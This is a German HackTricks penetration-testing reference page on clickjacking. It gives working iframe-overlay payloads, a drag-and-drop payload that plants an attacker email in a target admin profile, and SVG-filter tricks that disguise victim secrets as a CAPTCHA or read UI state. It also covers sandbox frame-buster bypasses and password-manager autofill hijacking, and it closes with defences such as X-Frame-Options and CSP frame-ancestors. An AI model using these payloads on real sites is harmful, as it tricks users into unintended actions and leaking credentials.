Clickjacking

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Was ist Clickjacking

Bei einem Clickjacking-Angriff wird ein Benutzer dazu getäuscht, auf ein Element einer Webseite zu klicken, das entweder unsichtbar ist oder als ein anderes Element getarnt wurde. Diese Manipulation kann zu unbeabsichtigten Folgen für den Benutzer führen, wie dem Herunterladen von Malware, der Weiterleitung zu bösartigen Webseiten, der Preisgabe von Zugangsdaten oder sensiblen Informationen, Geldüberweisungen oder dem Online-Kauf von Produkten.

Prepopulate forms trick

Manchmal ist es möglich, die Werte von Formularfeldern mithilfe von GET-Parametern beim Laden einer Seite zu füllen. Ein Angreifer kann dieses Verhalten ausnutzen, um ein Formular mit beliebigen Daten zu füllen und die clickjacking payload zu senden, sodass der Benutzer den Button Submit drückt.

Populate form with Drag&Drop

Wenn Sie den Benutzer dazu bringen müssen, ein Formular zu füllen, ihn aber nicht direkt auffordern wollen, bestimmte Informationen (wie die E-Mail oder ein spezielles Passwort, das Sie kennen) einzutragen, können Sie ihn einfach bitten, etwas per Drag&Drop zu verschieben, das Ihre kontrollierten Daten einfügt, wie in this example.

Basic Payload

<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

Mehrstufiger Payload

<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Drag&Drop + Click payload

<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

Wenn Sie einen XSS-Angriff, der einen Benutzer zum Klicken auf ein Element erfordert, um die XSS zu triggern, identifiziert haben und die Seite für Clickjacking verwundbar ist, könnten Sie dies ausnutzen, um den Benutzer dazu zu bringen, auf den Button/Link zu klicken.
Beispiel:
Sie haben eine self XSS in einigen privaten Kontodaten gefunden (Daten, die nur Sie setzen und lesen können). Die Seite mit dem Formular, um diese Daten zu setzen, ist verwundbar für Clickjacking und Sie können das Formular mit den GET parameters prepopulate.
Ein Angreifer könnte einen Clickjacking-Angriff auf diese Seite vorbereiten, das Formular mit der XSS payload prepopulating und den Benutzer dazu tricken, auf Submit des Formulars zu klicken. Wenn also das Formular abgeschickt wird und die Werte geändert sind, wird der Benutzer die XSS ausführen.

DoubleClickjacking

Zunächst erklärt in diesem Beitrag, würde diese Technik das Opfer auffordern, auf einen Button einer benutzerdefinierten Seite an einer bestimmten Stelle doppelt zu klicken, und die Zeitdifferenzen zwischen mousedown- und onclick-Events ausnutzen, um während des Doppelklicks die Opferseite zu laden, sodass das Opfer tatsächlich einen legitimen Button in der Opferseite klickt.

Ein Beispiel ist in diesem Video zu sehen: https://www.youtube.com/watch?v=4rGvRRMrD18

Ein Codebeispiel findet sich auf dieser Seite.

Warning

Diese Technik erlaubt es, den Benutzer dazu zu bringen, an einer Stelle der Opferseite zu klicken und damit jeden Schutz gegen Clickjacking zu umgehen. Daher muss der Angreifer sensible Aktionen finden, die mit nur einem Klick ausgeführt werden können, wie OAuth-Aufforderungen zur Annahme von Berechtigungen.

SVG Filters / Cross-Origin Iframe UI Redressing

Moderne Chromium/WebKit/Gecko-Builds erlauben, dass CSS filter:url(#id) auf cross-origin iframes angewendet wird. Die gerasterten Pixel des Iframes werden dem SVG-Filtergraphen als SourceGraphic exponiert, sodass Primitive wie feDisplacementMap, feBlend, feComposite, feColorMatrix, feTile, feMorphology usw. die UI des Opfers beliebig verformen können, bevor der Benutzer sie sieht, obwohl der Angreifer niemals das DOM berührt. Ein einfacher Liquid-Glass style filter sieht wie folgt aus:

<iframe src="https://victim.example" style="filter:url(#displacementFilter4)"></iframe>
  • Nützliche Primitive: feImage lädt Angreifer-Bitmaps (z. B. Overlays, displacement maps); feFlood erzeugt einfarbige Mattes; feOffset/feGaussianBlur verfeinern Hervorhebungen; feDisplacementMap bricht/verzerrt Text; feComposite operator="arithmetic" implementiert beliebige pro-Kanal-Berechnungen (r = k1*i1*i2 + k2*i1 + k3*i2 + k4), was ausreichend ist für Kontrastverstärkung, Maskierung und AND/OR-Operationen; feTile schneidet und repliziert Pixelproben; feMorphology vergrößert/verkleinert Striche; feColorMatrix verschiebt Luma in den Alpha-Kanal, um präzise Masken zu erstellen.

Geheimnisse in CAPTCHA-ähnliche Eingabeaufforderungen verfremden

Wenn ein framable endpoint Geheimnisse (tokens, reset codes, API keys) darstellt, kann der Angreifer sie so verfremden, dass sie wie ein CAPTCHA aussehen und eine manuelle Transkription erzwingen:

<svg width="0" height="0">
<filter id="captchaFilter">
<feTurbulence type="turbulence" baseFrequency="0.03" numOctaves="4" result="noise" />
<feDisplacementMap in="SourceGraphic" in2="noise" scale="6" xChannelSelector="R" yChannelSelector="G" />
</filter>
</svg>
<iframe src="https://victim" style="filter:url(#captchaFilter)"></iframe>
<input pattern="^6c79 ?7261 ?706f ?6e79$" required>

Die verzerrten Pixel täuschen den Benutzer dazu, das captcha im vom Angreifer kontrollierten <input> „zu lösen“, dessen pattern das echte Geheimnis des Opfers erzwingt.

Rekontextualisierung von Eingaben des Opfers

Filter können Platzhalter-/Validierungstext chirurgisch entfernen und gleichzeitig Tastatureingaben erhalten. Ein mögliches Vorgehen:

  1. feComposite operator="arithmetic" k2≈4 verstärkt die Helligkeit, so dass grauer Hilfstext zu Weiß gesättigt wird.
  2. feTile begrenzt den Arbeitsbereich auf das Eingaberechteck.
  3. feMorphology operator="erode" verdickt die dunklen Glyphen, die das Opfer tippt, und speichert sie via result="thick".
  4. feFlood erstellt eine weiße Fläche, feBlend mode="difference" mit thick, und ein zweites feComposite k2≈100 verwandelt das in eine starke Luma-Matte.
  5. feColorMatrix verschiebt diese Luma in den Alpha-Kanal, und feComposite in="SourceGraphic" operator="in" behält nur die vom Nutzer eingegebenen Glyphen.
  6. Ein weiteres feBlend in2="white" plus ein dünner Zuschnitt ergibt ein sauberes Textfeld, woraufhin der Angreifer seine eigenen HTML-Labels (z. B. „Geben Sie Ihre E-Mail ein“) überlagert, während das versteckte iframe weiterhin die Passwort-Policy der Opfer-Origin durchsetzt.

Safari hat Probleme mit feTile; derselbe Effekt lässt sich für WebKit-exklusive Payloads mit räumlichen Masken reproduzieren, die aus feFlood + feColorMatrix + feComposite aufgebaut sind.

Pixel-Proben, Logik und Zustandsmaschinen

Indem ein 2–4 px großes Gebiet mit feTile ausgeschnitten und auf 100% des Viewports gekachelt wird, verwandelt der Angreifer die abgetastete Farbe in eine Vollbild-Textur, die durch Thresholding in eine boolesche Maske umgewandelt werden kann:

<filter id="pixelProbe">
<feTile x="313" y="141" width="4" height="4" />
<feTile x="0" y="0" width="100%" height="100%" result="probe" />
<feComposite in="probe" operator="arithmetic" k2="120" k4="-1" />
<feColorMatrix type="matrix" values="0 0 0 0 0  0 0 0 0 0  0 0 0 0 0  0 0 1 0 0" result="mask" />
<feGaussianBlur in="SourceGraphic" stdDeviation="2" />
<feComposite operator="in" in2="mask" />
<feBlend in2="SourceGraphic" />
</filter>

Für beliebige Farben liefert eine feFlood-Referenz (z. B. #0B57D0) plus feBlend mode="difference" und ein weiterer arithmetic composite (k2≈100, k4 als Toleranz) nur dann Weiß, wenn das abgetastete Pixel genau dem Zielton entspricht. Diese Masken in feComposite mit fein abgestimmten k1..k4 zu speisen erzeugt Logikgatter: AND über k1=1, OR über k2=k3=1, XOR über feBlend mode="difference", NOT durch Blenden gegen Weiß. Das Verketten der Gatter baut einen Volladdierer innerhalb des Filter-Graphs, was beweist, dass die Pipeline funktional vollständig ist.

Angreifer können daher UI-Zustände ohne JavaScript auslesen. Beispielbooleans aus einem modal Workflow:

  • D (Dialog sichtbar): eine abgedunkelte Ecke sondieren und gegen Weiß testen.
  • L (Dialog geladen): die Koordinaten sondieren, an denen der Button erscheint, sobald er bereit ist.
  • C (Checkbox aktiviert): das Checkbox-Pixel mit dem aktiven Blau #0B57D0 vergleichen.
  • R (rote Success/Failure-Banner): feMorphology und rote Schwellenwerte innerhalb des Banner-Rechtecks verwenden.

Jeder erkannte Zustand steuert eine andere Overlay-Bitmap, eingebettet via feImage xlink:href="data:...". Das Maskieren dieser Bitmaps mit D, L, C, R hält die Overlays synchron zum echten Dialog und führt das Opfer durch mehrstufige Workflows (password resets, approvals, destructive confirmations), ohne jemals das DOM offenzulegen.

Browser-Erweiterungen: DOM-based autofill clickjacking

Abgesehen vom Iframing von Opferseiten können Angreifer UI-Elemente von Browser-Erweiterungen anvisieren, die in die Seite injiziert werden. Password managers rendern autofill-Dropdowns in der Nähe fokussierter Inputs; durch das Fokussieren eines angreifer-kontrollierten Feldes und das Verbergen/Überdecken des Extension-Dropdowns (Opacity/Overlay/Top-Layer-Tricks) kann ein erzwungener Benutzerklick einen gespeicherten Eintrag auswählen und sensitive Daten in angreifer-kontrollierte Inputs einfügen. Diese Variante benötigt kein iframe-Exposure und funktioniert vollständig über DOM/CSS-Manipulation.

Strategien zur Abwehr von Clickjacking

Client-Side Defenses

Auf dem Client ausgeführte Skripte können Maßnahmen ergreifen, um Clickjacking zu verhindern:

  • Sicherstellen, dass das Anwendungsfenster das Haupt- bzw. top window ist.
  • Alle Frames sichtbar machen.
  • Klicks auf unsichtbare Frames verhindern.
  • Benutzer bei potenziellen Clickjacking-Versuchen erkennen und warnen.

Diese Frame-Busting-Skripte können jedoch umgangen werden:

  • Sicherheitseinstellungen von Browsern: Einige Browser könnten diese Skripte aufgrund ihrer Sicherheitseinstellungen oder fehlender JavaScript-Unterstützung blockieren.
  • HTML5 iframe sandbox Attribute: Ein Angreifer kann Frame-Buster-Skripte neutralisieren, indem er das sandbox-Attribut mit allow-forms oder allow-scripts setzt, jedoch ohne allow-top-navigation. Das verhindert, dass das iframe prüfen kann, ob es das top window ist, z. B.,
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>

Die Werte allow-forms und allow-scripts erlauben Aktionen innerhalb des iframe, während Top-Level-Navigation deaktiviert wird. Um die beabsichtigte Funktionalität der Zielseite sicherzustellen, können je nach Angriffstyp zusätzliche Berechtigungen wie allow-same-origin und allow-modals erforderlich sein. Meldungen in der Browser-Konsole können Hinweise geben, welche Berechtigungen gesetzt werden müssen.

Server-seitige Abwehrmaßnahmen

X-Frame-Options

Der X-Frame-Options HTTP-Antwortheader informiert Browser darüber, ob das Rendern einer Seite in einem <frame> oder <iframe> legitim ist und hilft so, Clickjacking zu verhindern:

  • X-Frame-Options: deny - Keine Domain kann den Inhalt einbetten.
  • X-Frame-Options: sameorigin - Nur dieselbe Origin kann den Inhalt einbetten.
  • X-Frame-Options: allow-from https://trusted.com - Nur die angegebene ‘uri’ darf die Seite einbetten.
  • Beachte die Einschränkungen: Wenn der Browser diese Direktive nicht unterstützt, wirkt sie möglicherweise nicht. Einige Browser bevorzugen die CSP frame-ancestors Direktive.

Content Security Policy (CSP) frame-ancestors Direktive

frame-ancestors Direktive in CSP ist die empfohlene Methode zum Schutz vor Clickjacking:

  • frame-ancestors 'none' - Ähnlich zu X-Frame-Options: deny.
  • frame-ancestors 'self' - Ähnlich zu X-Frame-Options: sameorigin.
  • frame-ancestors trusted.com - Ähnlich zu X-Frame-Options: allow-from.

Zum Beispiel erlaubt die folgende CSP das Einbetten nur von derselben Domain:

Content-Security-Policy: frame-ancestors 'self';

Weitere Details und komplexe Beispiele finden Sie in der frame-ancestors CSP documentation und in der Mozilla’s CSP frame-ancestors documentation.

Content Security Policy (CSP) mit child-src und frame-src

Content Security Policy (CSP) ist eine Sicherheitsmaßnahme, die hilft, Clickjacking und andere Code-Injection-Angriffe zu verhindern, indem sie angibt, welche Quellen der Browser zum Laden von Inhalten zulassen soll.

frame-src Direktive

  • Definiert gültige Quellen für Frames.
  • Spezifischer als die default-src-Direktive.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;

Diese Richtlinie erlaubt Frames von derselben Origin (self) und https://trusted-website.com.

child-src Direktive

  • Eingeführt in CSP level 2, um gültige Quellen für web workers und Frames festzulegen.
  • Dient als Fallback für frame-src und worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;

Diese Richtlinie erlaubt frames und workers von derselben Origin (self) und https://trusted-website.com.

Hinweise zur Verwendung:

  • Abkündigung: child-src wird zugunsten von frame-src und worker-src eingestellt.
  • Fallback-Verhalten: Wenn frame-src fehlt, wird child-src als Fallback für Frames verwendet. Wenn beide fehlen, wird default-src verwendet.
  • Strikte Quellendefinition: Schließe nur vertrauenswürdige Quellen in die Direktiven ein, um Ausnutzung zu verhindern.

JavaScript Frame-Breaking Scripts

Obwohl nicht völlig narrensicher, können JavaScript-basierte frame-busting scripts verwendet werden, um zu verhindern, dass eine Webseite in einem Frame dargestellt wird. Beispiel:

if (top !== self) {
top.location = self.location
}

Einsatz von Anti-CSRF Tokens

  • Token-Validierung: Verwenden Sie Anti-CSRF Tokens in Webanwendungen, um sicherzustellen, dass zustandsändernde Anfragen vom Benutzer absichtlich ausgeführt werden und nicht durch eine Clickjacked-Seite.

Referenzen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks